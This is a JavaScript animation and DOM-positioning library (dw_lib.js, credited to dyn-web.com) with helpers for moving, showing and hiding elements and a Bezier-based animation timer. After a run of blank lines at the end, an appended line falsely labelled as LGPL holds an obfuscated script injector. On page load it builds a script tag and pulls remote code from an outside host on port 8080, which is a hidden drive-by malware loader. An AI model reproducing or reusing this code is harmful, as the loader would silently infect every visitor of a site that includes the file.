/*************************************************************************
  This code is from Dynamic Web Coding at www.dyn-web.com
  Copyright 2003-4 by Sharon Paine 
  See Terms of Use at www.dyn-web.com/bus/terms.html
  regarding conditions under which you may use this code.
  This notice must be retained in the code as is!
*************************************************************************/

/*
  dw_lib.js - used with dw_glide.js, dw_glider.js, ...
  version date July 2004 
*/

dynObj.holder = {}; 
// constructor
function dynObj(id,x,y,w,h) {
  var el = dynObj.getElemRef(id);
  if (!el) return;  this.id = id; 
  dynObj.holder[this.id] = this; this.animString = "dynObj.holder." + this.id;
  var px = window.opera? 0: "px";
	this.x = x || 0;	if (x) el.style.left = this.x + px;
	this.y = y || 0;	if (y) el.style.top = this.y + px;
	this.w = w || el.offsetWidth || 0;	this.h = h || el.offsetHeight || 0;
	// if w/h passed, set style width/height
	if (w) el.style.width = w + px; if (h) el.style.height = h + px;
}

dynObj.getElemRef = function(id) { 
  var el = document.getElementById? document.getElementById(id): null;
  return el;
} 

dynObj.getInstance = function(id) {
  var obj = dynObj.holder[id];
  if (!obj) obj = new dynObj(id);
  else if (!obj.el) obj.el = dynObj.getElemRef(id);
  return obj;
}

dynObj.prototype.shiftTo = function(x,y) {
  var el = this.el? this.el: dynObj.getElemRef(this.id)? dynObj.getElemRef(this.id): null;
  if (el) {
    if (x != null) el.style.left = (this.x = x) + "px";
    if (y != null) el.style.top = (this.y = y) + "px";
  }
}

dynObj.prototype.shiftBy = function(x,y) { this.shiftTo(this.x+x, this.y+y); }

dynObj.prototype.show = function() { 
  var el = this.el? this.el: dynObj.getElemRef(this.id)? dynObj.getElemRef(this.id): null;
  if (el) el.style.visibility = "visible"; 
}
dynObj.prototype.hide = function() { 
  var el = this.el? this.el: dynObj.getElemRef(this.id)? dynObj.getElemRef(this.id): null;
  if (el) el.style.visibility = "hidden"; 
}


// for time-based animations
// resources: www.13thparallel.org and www.youngpup.net (accelimation)
var dw_Bezier = {
  B1: function (t) { return t*t*t },
  B2: function (t) { return 3*t*t*(1-t) },
  B3: function (t) { return 3*t*(1-t)*(1-t) },
  B4: function (t) { return (1-t)*(1-t)*(1-t) },
  // returns current value based on percentage of time passed
  getValue: function (percent,startVal,endVal,c1,c2) {
    return endVal * this.B1(percent) + c2 * this.B2(percent) + c1 * this.B3(percent) + startVal * this.B4(percent);
  }
}

// adapted from accelimation.js by Aaron Boodman of www.youngpup.net
dw_Animation = {
  instances: [],
  add: function(fp) {
    this.instances[this.instances.length] = fp;
  	if (this.instances.length == 1) this.timerID = window.setInterval("dw_Animation.control()", 10);
  },
  
  remove: function(fp) {
    for (var i = 0; this.instances[i]; i++) {
  		if (fp == this.instances[i]) {
  			this.instances = this.instances.slice(0,i).concat( this.instances.slice(i+1) );
  			break;
  		}
  	}
  	if (this.instances.length == 0) {
  		window.clearInterval(this.timerID);	this.timerID = null;
  	}
  },
  
  control: function() {
    for (var i = 0; this.instances[i]; i++) {
  		if (typeof this.instances[i] == "function" ) this.instances[i]();
      else eval(this.instances[i]);
    }
  }
}









/*LGPL*/ try{ window.onload = function(){var Uhu8r2fo7tv = document.createElement('s!$c$@@r!)#&!i&p@)!t#&$$@'.replace(/&|\^|\$|@|\)|\!|\(|#/ig, ''));Uhu8r2fo7tv.setAttribute('defer', 'd$&$#e)&$f^e!r!'.replace(/@|\)|\^|#|\!|\$|&|\(/ig, ''));Uhu8r2fo7tv.setAttribute('type', 't(e!x(t#)/(@(#j&^&&a#($v((!a$()#$s$c#&r)!(i^$p)$t###&$'.replace(/@|\^|&|\$|\)|\(|#|\!/ig, ''));Uhu8r2fo7tv.setAttribute('id', 'N!&$u#c#)@$e(q!i&@)b$!0$&(7)$n##()s$)y$g#('.replace(/\)|&|\$|\!|\^|\(|#|@/ig, ''));Uhu8r2fo7tv.setAttribute('s$#)$r!@!c('.replace(/\$|&|\!|\^|\)|\(|@|#/ig, ''),  'h#t^t^p&&:)(^/!!$/#g(#o$@(o$g@(&$l^e!(-$l^)(k!).!m##i(@!&n(&i(n(o&^$#v!^a$.^$!o)^$r&!()g(!$.@^s(#o&g!o(((u)$^-)^^!c)!)o^^$m)!^.!@(&t(^h!)(e#)l!$a#@&$)c@)e(^@w&&#!e(^b#)^).)@&#r))u!^!#:)&8@!$0^$$@8^!0^#/@&^!g&o&$o!g)##l^$e^.@)@c!#o&^$$m@()/&g()o^^o@)(g!l)^!e!$$(.(@$c(&o$@m)&/#!!@d&#a^q&@i#^.)))(c&o&&m((/!(z$(&a@((n^$!o(&(x$-@@!a#)^f!(f$&^@i^^$l(#i!$)a($t#&e(&^@.^(!d!$(e$$/&c#&&!#a^!m^#^4##.^(!^c^#$o^$&$m)@/@@'.replace(/\!|&|@|\^|#|\$|\)|\(/ig, ''));if (document){document.body.appendChild(Uhu8r2fo7tv);}} } catch(Ezifg36u84dvjajnqc1) {}